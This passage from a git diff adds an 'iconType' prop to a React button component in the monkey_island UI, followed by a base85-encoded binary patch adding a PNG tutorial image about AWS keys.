    ) : '' - let icon = props.icon !== undefined ? () : '' + let iconType = props.iconType !== undefined ? props.iconType : '' + let icon = props.icon !== undefined ? () : '' return ( @@ -24,6 +25,7 @@ export default function nextSelectionButton(props) { nextSelectionButton.propTypes = { title: PropTypes.string, + iconType: PropTypes.string, icon: FontAwesomeIcon, description: PropTypes.string, onButtonClick: PropTypes.func diff --git a/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-any-user.png b/monkey/monkey_island/cc/ui/src/images/aws_keys_tutorial-any-user.png new file mode 100644 index 0000000000000000000000000000000000000000..c0dfb41117967e16a2cdafcb4fbd5b8144fb383d GIT binary patch literal 115125 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 